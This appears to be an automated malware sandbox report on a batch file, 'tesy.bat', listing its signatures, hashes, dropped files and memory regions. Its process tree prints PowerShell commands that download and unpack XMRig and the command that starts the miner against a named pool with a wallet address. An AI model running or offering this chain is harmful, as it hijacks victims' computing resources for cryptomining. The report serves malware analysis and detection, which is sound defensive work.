Analysis

  • max time kernel
    1794s
  • max time network
    1817s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    25/12/2023, 20:04

General

  • Target

    tesy.bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:656
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4576
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2200
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4388

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    424253f126e81e78511eb9557aaeedb4

    SHA1

    2372a1384a83b794518e48edadeb4af5524f8485

    SHA256

    296d3b97766db86674097c5a95c4409bd0335b1a1079477a83d14bbff295ebaf

    SHA512

    840f5e0a1748b06326a22e53179d467301b9d5b2b9ce9407f508abab8a2e166286ed7df71287c19c1b2351be2815fbb6f6437543a68e7c91331e210ed579f6e8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_du41zaju.mst.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    46KB

    MD5

    3c983c6a3d074f9be2228e2cf40b49d5

    SHA1

    365cd5ca6dcd7c01d085eb8108f497d9f02be579

    SHA256

    56c10fa355887b2a3c91b7d8d3ece1affc091541467d7a8d174b9b99419a387a

    SHA512

    858f31b5e8caf4eb0778cf99be2ad6035581527f32a4b75831bf558ce7b08cdc93a620b02c1a3e6d083f439800e5ed9b674296408e9cb9591b4504ad974ee3d2

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    348KB

    MD5

    bf3080d639e27f40041ba9f34dccbc99

    SHA1

    5c6867a0883cf3c1f2b8753e95e10ff721d23512

    SHA256

    24b8ef7b17eb3e09ac2bd8eae402fb62e7423ec7a050e68e2d8c4d954da40c85

    SHA512

    9319006f5166f5ffc723358d1ff07f806402a8fe71d76960a73b1bc8e0798aeb863582bc0ee8fb0c5a1599d90b34f53fdc75203f0b84d92ded0587a663562680

  • memory/2200-39-0x00007FFA8BD90000-0x00007FFA8C77C000-memory.dmp

    Filesize

    9.9MB

  • memory/2200-41-0x000002904C770000-0x000002904C780000-memory.dmp

    Filesize

    64KB

  • memory/2200-42-0x000002904C770000-0x000002904C780000-memory.dmp

    Filesize

    64KB

  • memory/2200-117-0x00007FFA8BD90000-0x00007FFA8C77C000-memory.dmp

    Filesize

    9.9MB

  • memory/2200-80-0x000002904CE00000-0x000002904CE12000-memory.dmp

    Filesize

    72KB

  • memory/2200-93-0x000002904CDE0000-0x000002904CDEA000-memory.dmp

    Filesize

    40KB

  • memory/2200-66-0x000002904C770000-0x000002904C780000-memory.dmp

    Filesize

    64KB

  • memory/4388-147-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-152-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-188-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-187-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-186-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-185-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-184-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-120-0x000002576B170000-0x000002576B190000-memory.dmp

    Filesize

    128KB

  • memory/4388-121-0x000002576CC40000-0x000002576CC80000-memory.dmp

    Filesize

    256KB

  • memory/4388-122-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-124-0x000002576CCA0000-0x000002576CCC0000-memory.dmp

    Filesize

    128KB

  • memory/4388-123-0x000002576CC80000-0x000002576CCA0000-memory.dmp

    Filesize

    128KB

  • memory/4388-125-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-126-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-129-0x000002576CCA0000-0x000002576CCC0000-memory.dmp

    Filesize

    128KB

  • memory/4388-128-0x000002576CC80000-0x000002576CCA0000-memory.dmp

    Filesize

    128KB

  • memory/4388-127-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-130-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-131-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-132-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-133-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-134-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-135-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-136-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-137-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-138-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-139-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-140-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-141-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-142-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-143-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-144-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-145-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-146-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-183-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-148-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-149-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-150-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-151-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-182-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-153-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-154-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-155-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-156-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-157-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-158-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-159-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-160-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-161-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-162-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-163-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-164-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-165-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-166-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-167-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-168-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-169-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-170-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-171-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-172-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-173-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-174-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-175-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-176-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-177-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-178-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-179-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-180-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4388-181-0x00007FF7B45B0000-0x00007FF7B50B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4576-26-0x00007FFA8BD90000-0x00007FFA8C77C000-memory.dmp

    Filesize

    9.9MB

  • memory/4576-4-0x0000024E69EC0000-0x0000024E69EE2000-memory.dmp

    Filesize

    136KB

  • memory/4576-7-0x00007FFA8BD90000-0x00007FFA8C77C000-memory.dmp

    Filesize

    9.9MB

  • memory/4576-10-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-9-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-8-0x0000024E6A360000-0x0000024E6A3D6000-memory.dmp

    Filesize

    472KB

  • memory/4576-25-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-27-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-28-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-29-0x0000024E69EB0000-0x0000024E69EC0000-memory.dmp

    Filesize

    64KB

  • memory/4576-34-0x00007FFA8BD90000-0x00007FFA8C77C000-memory.dmp

    Filesize

    9.9MB